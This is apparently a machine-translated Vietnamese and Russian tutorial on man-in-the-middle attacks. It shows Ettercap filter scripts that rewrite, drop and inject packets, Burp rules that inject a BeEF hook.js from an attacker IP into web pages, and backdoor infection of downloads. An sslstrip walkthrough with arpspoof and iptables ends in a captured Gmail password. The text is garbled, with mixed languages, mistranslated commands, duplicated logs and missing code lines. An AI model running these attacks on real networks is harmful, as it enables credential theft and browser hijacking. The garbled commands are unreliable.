# thay thế văn bản trong một gói: if (ip.proto == TCP && search(DATA.data, "lol"))( thay thế("lol", "smh"); msg("filter run"); ) # show message , if cổng tcp là 22 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("SSH packet\n"); ) ) # ghi xuống toàn bộ lưu lượng telnet, cũng thực thi ./program cho mỗi gói if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./ logfile.log "); exec("./program"); ​​​) ) # ghi lại tất cả lưu lượng truy cập ngoại trừ http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log (DATA.data , "./logfile.log"); ) # một số thao tác trên tải trọng gói if (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) else ( DATA.data = " đã sửa đổi"; DATA .data + 20 = 0x4445; ) # bỏ tất cả các gói chứa "ettercap" if (search(DECODED.data, "ettercap")) ( msg("ai đó đang nói về chúng tôi...\n") ; drop( ); kill(); ) # ghi lại các gói ssh đã được giải mã khớp với biểu thức chính quy if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) ) # hủy gói if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Thay thế dữ liệu bằng Burp

Chúng tôi ra mắt Ettercap và Burp như được mô tả trong đoạn 1.2 hoặc trong đoạn 2.2.

Trong Burp, đi tới Proxy -> Tùy chọn. Chúng tôi tìm thấy So khớp và Thay thế ở đó. Nhấp vào Thêm để thêm quy tắc mới.

  • Tiêu đề yêu cầu là tiêu đề yêu cầu
  • Nội dung yêu cầu - nội dung yêu cầu
  • Tiêu đề phản hồi - tiêu đề phản hồi
  • Cơ quan phản hồi - cơ quan phản hồi
  • Tên thông số yêu cầu - Tên thông số yêu cầu
  • Giá trị thông số yêu cầu - Giá trị thông số yêu cầu
  • Dòng đầu tiên của yêu cầu - Dòng đầu tiên của yêu cầu

Nếu bạn cần thay đổi dữ liệu được truyền bằng phương thức GET thì điều này sẽ áp dụng cho các tiêu đề.

Trong đánh dấu HTML cũng có một thứ như head (thẻ đầu). Những điều được đề cập ở trên không liên quan gì đến tiêu đề này. Cao hơn một chút chúng ta nói về tiêu đề gói. Nếu bạn muốn thay đổi nội dung của trang HTML, bạn phải luôn chọn Nội dung phản hồi thay vì tiêu đề Yêu cầu, ngay cả khi bạn định thay đổi nội dung của thẻ head (ví dụ: tiêu đề).

Nếu bạn không quen với các biểu thức thông thường, thì về nguyên tắc thì không sao: HTML tha thứ rất nhiều và những gì nó không hiểu thì nó chỉ cần bỏ qua - bạn có thể sử dụng nó. Nếu bạn biết cách sử dụng biểu thức thông thường thì tôi tôn trọng bạn.)))

Ví dụ: hãy tạo một quy tắc mới, thay đổi tiêu đề Yêu cầu thành nội dung Phản hồi. Trong chính quy tắc, chúng tôi sẽ thay đổi

.*

Không tiêu đề

Kiểm tra hộp kết hợp Regex.

Bây giờ trên tất cả các trang web (không có HTTPS), tiêu đề sẽ là Không có Tiêu đề:

Chèn một dòng tùy ý sau thẻ body (nó sẽ là dòng đầu tiên trong văn bản). Tiêu đề yêu cầu được thay đổi thành Nội dung phản hồi. Chúng tôi thay đổi

Kiểm tra hộp kết hợp Regex.

Ở góc trên bên phải (tùy theo cách bố trí) dòng chữ “I am cool!” xuất hiện. Bạn có thể chèn CSS, mã JavaScript, bất kỳ văn bản nào - bất kỳ thứ gì. Nói chung, bạn có thể xóa mọi thứ khỏi trang và sau đó điền vào đó nội dung của riêng bạn - tất cả phụ thuộc vào trí tưởng tượng của bạn.

Ý tưởng là sửa đổi một chút từng biểu mẫu để dữ liệu sẽ được gửi đến máy chủ gốc và máy chủ của kẻ tấn công (thực hiện gửi nhiều lần cho mỗi biểu mẫu). Nhưng lý luận rằng nếu dữ liệu truyền đi không được mã hóa và chúng ta có quyền truy cập vào nó thì chúng ta đã thấy rồi, không cần phải gửi đến bất kỳ máy chủ nào. Tuy nhiên, nếu ai đó cần một ví dụ thực sự hiệu quả về việc gửi dữ liệu từ một biểu mẫu đến nhiều máy chủ cùng một lúc.

5. Kết nối với BeEF

Để bắt đầu sử dụng các khả năng của BeEF, chúng ta cần nhúng tệp JavaScript vào mã HTML, thường là một dòng như:

Hai phương pháp tiếp theo chỉ khác nhau ở phương pháp nhúng chuỗi này.

5.1 Kết nối BeEF bằng bộ lọc Ettercap

[phần sẽ được chuẩn bị sau]

5.2 Kết nối BeEF với Burp

Bạn cần bắt đầu chính xác như được viết trong đoạn 4.2. Chỉ thay vì thay thế tiêu đề và thêm văn bản vào trang web, chúng tôi sẽ triển khai mã JavaScript dưới dạng một dòng:

Trong trường hợp của tôi, tệp này có sẵn trên IP 192.168.1.36 trên cổng 3000. Tệp có tên hook.js (có thể thay đổi trong cài đặt). Những thứ kia. trong trường hợp của tôi, tôi cần chèn dòng:

Điều này có thể được thực hiện, ví dụ: bằng cách tạo quy tắc mới, thay đổi tiêu đề Yêu cầu thành nội dung Phản hồi. Việc thay thế phải xảy ra trong chính mã HTML

Thật tuyệt vời, khi bạn mở bất kỳ trang web nào không có HTTPS, mã JavaScript sẽ được chèn vào mã HTML, mã này cho phép bạn thu thập thông tin thông qua trình duyệt được nối và thực hiện nhiều cuộc tấn công khác nhau:

6. Nhiễm backdoor

Bạn có thể thay thế và lây nhiễm các tệp thực thi bằng cả bộ lọc Ettercap [vì lý do nào đó không còn hoạt động] và sử dụng các ứng dụng của bên thứ ba. Ví dụ: BDFProxy có thể thực hiện việc này một cách nhanh chóng. Thật không may, BDFProxy vẫn gặp khó khăn với bản cập nhật Backdoor Factory tháng 4 năm 2016: gói libmproxy đã được đổi tên thành mitmproxy trong Python. Đối với BDFProxy, gói libmproxy là một phần phụ thuộc cần thiết; nếu không có gói này, chương trình sẽ không bắt đầu. Vì vậy, hiện nay, trước khi “sửa chữa” BDFProxy thì không thể sử dụng được, vì ngay cả khi đã cài đặt Backdoor Factory, chương trình BDFProxy vẫn phàn nàn về việc thiếu thư viện libmproxy...

Thao tác tương tự có thể được thực hiện với Burp Suite. Thuật toán từng bước được trình bày, việc viết lại nó trong phần này sẽ không có ý nghĩa gì.

7. Sử dụng plugin Ettercap

Thông tin về các plugin Ettercap có thể được tìm thấy. Có khá nhiều plugin; những plugin được mô tả dưới đây đối với tôi là thú vị nhất.

Các plugin có thể được kết nối khi Ettercap được khởi chạy, có một tùy chọn cho việc này:

P, --plugin chạy cái này

Các plugin cũng có thể được tải từ GUI:

[VẬT LIỆU ĐANG CHUẨN BỊ]

7.1 arp_cop

Nó báo cáo hoạt động ARP đáng ngờ bằng cách giám sát thụ động các yêu cầu/phản hồi ARP. Nó có thể báo cáo các nỗ lực đầu độc ARP hoặc xung đột IP đơn giản hoặc thay đổi IP. Nếu bạn đang xây dựng danh sách máy chủ ban đầu, plugin sẽ hoạt động chính xác hơn.

Ettercap -TQP arp_cop //

Một ví dụ về phát hiện thực sự giả mạo ARP:

Mở rộng

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // mật khẩu cho mial: ettercap 0.8.2 bản quyền 2001-2015 Nhóm phát triển Ettercap Đang nghe: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 Phân tích SSL cần tập lệnh "redir_command_on" hợp lệ trong tệp etter.conf Đặc quyền được giảm xuống EUID 65534 EGID 65534... 33 plugin 42 trình phân tích giao thức 57 cổng được giám sát 20530 mac dấu vân tay của nhà cung cấp 1766 tcp OS dấu vân tay 2182 dịch vụ đã biết Chọn ngẫu nhiên 255 máy chủ để quét... Quét toàn bộ mặt nạ mạng cho 255 máy chủ... * |====== ================= ===============================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // mật khẩu cho mial: ettercap 0.8.2 bản quyền 2001-2015 Nhóm phát triển Ettercap Đang nghe: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 Phân tích SSL cần tập lệnh "redir_command_on" hợp lệ trong tệp etter.conf Đặc quyền được giảm xuống EUID 65534 EGID 65534... 33 plugin 42 trình phân tích giao thức 57 cổng được giám sát 20530 mac dấu vân tay của nhà cung cấp 1766 tcp OS dấu vân tay 2182 dịch vụ đã biết Chọn ngẫu nhiên 255 máy chủ để quét... Quét toàn bộ mặt nạ mạng cho 255 máy chủ... * |====== ================= ===============================>| 100,00 % 3 máy chủ được thêm vào danh sách máy chủ... Bắt đầu đánh hơi hợp nhất... Chỉ văn bản Đã kích hoạt giao diện... Nhấn "h" để được trợ giúp nội tuyến Kích hoạt plugin arp_cop... arp_cop: plugin đang chạy... arp_cop: (máy chủ mới ) 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 1 92.168.1.1 arp_cop: (CẢNH BÁO ) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO ) 192.168.1.35 giả vờ là 192.168 .1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168 .1 .1 arp_cop: (CẢNH BÁO) 192.168 .1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168 .1 .35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_co p: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ s là 192.168.1.1 arp_cop : (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: ( WARNING ING) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 1 92. 168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.16 8.1.1 arp_cop: ( CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 19 2.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 192.168.1.35 giả vờ là 192.168.1.1 arp_cop: (CẢNH BÁO) 19 2.168.1.35 giả vờ là 192.168. 1.1..................

7.2 tự động thêm

Nó sẽ tự động thêm nạn nhân mới khi họ kết nối với cuộc tấn công mitm đầu độc ARP. Nó tìm kiếm các yêu cầu ARP trên mạng cục bộ và nếu được phát hiện, plugin sẽ thêm máy chủ vào danh sách nạn nhân nếu danh sách được chỉ định là MỤC TIÊU. Máy chủ được thêm vào khi yêu cầu arp hiển thị từ nó.

7.3 chk_độc

Nó kiểm tra xem các mô-đun arp etch trong ettercap có thành công hay không. Nó gửi các gói tiếng vang ICMP giả mạo tới tất cả các nạn nhân trong khi giả vờ là từng nạn nhân. Nó có thể bắt được phản hồi ICMP với địa chỉ MAC của chúng tôi làm đích, điều đó có nghĩa là việc dụ giữa hai mục tiêu đã thành công. Nó kiểm tra cả hai đường dẫn của mỗi kết nối.

7,4 dns_spoof

Plugin này làm gián đoạn các yêu cầu DNS và phản hồi bằng phản hồi giả mạo (giả mạo). Bạn có thể chọn địa chỉ mà plugin sẽ phản hồi bằng cách chỉnh sửa tệp etter.dns. Plugin chặn các yêu cầu A, AAAA, PTR, MX, WINS, SRV và TXT. Nếu đó là yêu cầu A thì tên sẽ được tra cứu trong tệp và địa chỉ IP được trả về (bạn có thể sử dụng ký tự đại diện trong tên).

Điều tương tự cũng áp dụng cho các yêu cầu AAAA.

7.5 tìm_conn

Một plugin rất đơn giản lắng nghe các yêu cầu ARP để hiển thị cho bạn tất cả các mục tiêu mà máy chủ muốn liên lạc. Nó cũng có thể giúp bạn tìm địa chỉ trên các mạng LAN không xác định.

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

Cố gắng xác định các gói ettercap được gửi tới mạng LAN. Nó có thể hữu ích trong việc xác định ai đó đang cố gắng sử dụng ettercap. Đừng dựa vào nó 100% vì các bài kiểm tra chỉ hoạt động trên các chuỗi/số ID cụ thể.

7.7 quét_độc

Sẽ kiểm tra xem có ai đang mồi chài giữa bất kỳ máy chủ nào trong danh sách và chúng tôi hay không. Đầu tiên, nó kiểm tra xem hai máy chủ trong danh sách có cùng địa chỉ mac hay không. Điều này có thể có nghĩa là một trong số họ đang đầu độc chúng ta bằng cách giả vờ là người kia. Nó có thể tạo ra nhiều kết quả dương tính giả trong môi trường proxy-arp. Bạn phải xây dựng một danh sách các máy chủ để thực hiện việc kiểm tra này. Sau đó, nó gửi các gói echo icmp đến từng máy chủ trong danh sách và kiểm tra xem địa chỉ mac của nguồn phản hồi có khác với địa chỉ chúng tôi lưu trong danh sách với IP đó hay không. Điều này có thể có nghĩa là ai đó đang dụ máy chủ này bằng cách giả vờ có địa chỉ IP của chúng tôi và chuyển tiếp các gói bị chặn cho chúng tôi. Bạn không thể chạy thử nghiệm hoạt động này ở chế độ không gây khó chịu.

Ettercap -TQP scan_poisoner //

7.8 tìm kiếm_promisc

Nó cố gắng tìm xem có ai đang đánh hơi (lắng nghe) ở chế độ lăng nhăng hay không. Nó gửi hai yêu cầu arp được định dạng kém khác nhau tới từng mục tiêu trong danh sách máy chủ và chờ phản hồi. Nếu phản hồi đến từ máy chủ mục tiêu thì ít nhiều khả năng máy mục tiêu có card mạng ở chế độ lăng nhăng. Nó có thể tạo ra báo động sai. Bạn có thể chạy nó từ dòng lệnh hoặc từ menu plugin. Vì nó lắng nghe phản hồi arp nên sẽ tốt hơn nếu bạn không sử dụng chúng trong khi gửi yêu cầu arp.

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

Một ví dụ về việc đoán thành công hai card mạng ở chế độ lăng nhăng:

Mở rộng

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 bản quyền 2001-2015 Nhóm phát triển Ettercap Nghe trên: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00: 27ff:feaf:30b9/64 Việc mổ xẻ SSL cần tập lệnh "redir_command_on" hợp lệ trong tệp etter.conf Ettercap có thể không hoạt động chính xác. /proc/sys/net/ipv6/conf/eth0/use_tempaddr không được đặt thành 0. Các đặc quyền bị giảm xuống EUID 65534 EGID 65534... 33 plugin 42 trình phân tích giao thức 57 cổng được giám sát 20388 dấu vân tay của nhà cung cấp mac 1766 tcp dấu vân tay hệ điều hành 2182 dịch vụ đã biết Lua : không có tập lệnh nào được chỉ định, không khởi động được! Chọn ngẫu nhiên 255 máy chủ để quét... Quét toàn bộ mặt nạ mạng cho 255 máy chủ... * |================================ ====================================>

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 bản quyền 2001-2015 Nhóm phát triển Ettercap Nghe trên: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00: 27ff:feaf:30b9/64 Việc mổ xẻ SSL cần tập lệnh "redir_command_on" hợp lệ trong tệp etter.conf Ettercap có thể không hoạt động chính xác. /proc/sys/net/ipv6/conf/eth0/use_tempaddr không được đặt thành 0. Các đặc quyền bị giảm xuống EUID 65534 EGID 65534... 33 plugin 42 trình phân tích giao thức 57 cổng được giám sát 20388 dấu vân tay của nhà cung cấp mac 1766 tcp dấu vân tay hệ điều hành 2182 dịch vụ đã biết Lua : không có tập lệnh nào được chỉ định, không khởi động được! Chọn ngẫu nhiên 255 máy chủ để quét... Quét toàn bộ mặt nạ mạng cho 255 máy chủ... * |================================ =====================================>| 100,00% 5 máy chủ đã được thêm vào danh sách máy chủ... Bắt đầu đánh hơi hợp nhất... Chỉ văn bản Đã kích hoạt giao diện... Nhấn "h" để được trợ giúp nội tuyến Kích hoạt plugin search_promisc... search_promisc: Đang tìm kiếm các NIC lăng nhăng... Ít có khả năng đánh hơi các NIC hơn : - 192.168.1.36 - 192.168.1.34 Có lẽ nhiều nhất là đang đánh hơi NIC: - KHÔNG Đóng giao diện văn bản... Chấm dứt ettercap... Quá trình dọn dẹp Lua đã hoàn tất! Việc đánh hơi thống nhất đã bị dừng lại.

7.9 ssltrip

Trong cuộc tấn công SSL mitm, ettercap sẽ thay thế chứng chỉ SSL thực bằng chứng chỉ SSL của chính nó. Chứng chỉ giả được tạo nhanh chóng và tất cả các trường được điền theo chứng chỉ thật do máy chủ xuất trình.

  • (62%)
  • (56.5%)
  • (NGẪU NHIÊN - 0,2%)
  • Tôi sẽ chỉ cho bạn cách sử dụng tiện ích sslstrip để chặn dữ liệu được truyền qua kết nối SSL an toàn.
    Tiện ích sslstrip trong ví dụ của tôi (sau khi thực hiện cuộc tấn công giả mạo ARP lên nạn nhân) sẽ chặn yêu cầu máy khách web của nạn nhân để thiết lập kết nối SSL an toàn và buộc nó sử dụng giao thức HTTP không an toàn. Tiếp theo, tôi sẽ chỉ xem nạn nhân làm gì, không chú ý đến việc cô ấy đang đọc thư không phải qua HTTPS mà qua HTTP.

    Bạn sẽ thấy việc tổ chức các cuộc tấn công MITM trên SSL bằng kỹ thuật giả mạo arp và chương trình sslstrip dễ dàng như thế nào.

    Trong ví dụ của tôi, nạn nhân là một máy ảo có IP 10.10.11.163 (một chiếc ô tô thông thường chạy Windows), PC mà tôi đang tấn công là 10.10.11.85 được cài đặt Kali OS và sslstrip (tiện ích này được cài đặt sẵn trong quá trình pentesting bản phân phối Kali\BackTrack Linux). Giữa chúng tôi có một cổng có IP 10.10.11.1.

    1. Khi nạn nhân vào gmail.com thì được gửi đến địa chỉ https://gmail.com và điều này là bình thường. Đương nhiên, chúng tôi không thấy mật khẩu và thông tin đăng nhập vào email của nạn nhân ở dạng văn bản rõ ràng.

    2. Kích hoạt định tuyến lưu lượng trên PC từ Kali:

    echo "1" > /proc/sys/net/ipv4/ip_forward

    và định cấu hình iptables để tất cả lưu lượng truy cập http được chuyển đến cổng 81:

    iptables -t nat -A TRƯỚC -p tcp --destination-port 80 -j CHUYỂN ĐỔI --to-port 81

    arspoof -i eth0 -t 10.10.11.163 10.10.11.1

    Bây giờ lưu lượng truy cập của nạn nhân đi qua xe của tôi và (theo quy tắc iptables của tôi) được chuyển tiếp đến cổng 81.

    3. Khởi chạy sslstrip

    sslstrip -a -l 81 -w /root/Desktop/ssllog.txt

    việc này sẽ tạo một tệp nhật ký trực tiếp trên màn hình và bắt đầu ghi lưu lượng http bị chặn vào đó (thực ra, HTTPS sẽ bị chặn, nhưng nó sẽ bị xóa). Nói chung, tôi bắt đầu xem tệp này trên bảng điều khiển:

    đuôi -f /root/Desktop/ssllog.txt

    4. Nạn nhân đến bưu điện

    Để đọc thư, nạn nhân như mọi khi vào MS Explorer (hehe) và nhập gmail.com vào đó. Nhưng vì lý do nào đó trình duyệt không chuyển hướng nạn nhân đến https (trên thanh địa chỉ http)! Hình ảnh bên dưới cho thấy những gì nạn nhân sẽ nhìn thấy vào giây phút cuối cùng trước khi tôi tìm ra mật khẩu và thông tin đăng nhập của anh ta.

    Nạn nhân nhấp vào “Đăng nhập”... và trên cửa sổ nơi hiển thị lưu lượng truy cập bị chặn, tôi thấy như sau:

    Như bạn có thể thấy, mật khẩu là 1q2w3e4r5t6y...

    Để tránh các mối đe dọa liên quan đến việc chặn bắt đầu kết nối SSL, bạn phải:
    - không sử dụng các tiện ích trong các mạng không đáng tin cậy, ngay cả khi điều đó rất cần thiết (kẻ xấu có thể sắp xếp MITM với xác suất cao hơn nhiều, chẳng hạn như tại sân bay bằng cách cài đặt một điểm truy cập không dây giả mạo thay vì phá vỡ mạng công ty của tổ chức của bạn) ;
    - mã hóa thư bằng các giao thức mã hóa đối xứng (Tôi đang viết và suy nghĩ về PGP);
    - trả lương bình thường cho quản trị viên để anh ta không muốn theo dõi nhân viên của bạn theo cách này;
    - giám sát bảng ARP và sử dụng thiết bị/phần mềm giám sát các cuộc tấn công đó;
    - Thường xuyên cập nhật phần mềm từ các nguồn hợp pháp đáng tin cậy.

    Hãy nhớ rằng bài viết này minh họa những gì bị pháp luật cấm và các ví dụ trong đó được cung cấp để cho thấy sự dễ dàng trong việc tổ chức các cuộc tấn công vào SSL chỉ nhằm mục đích giáo dục.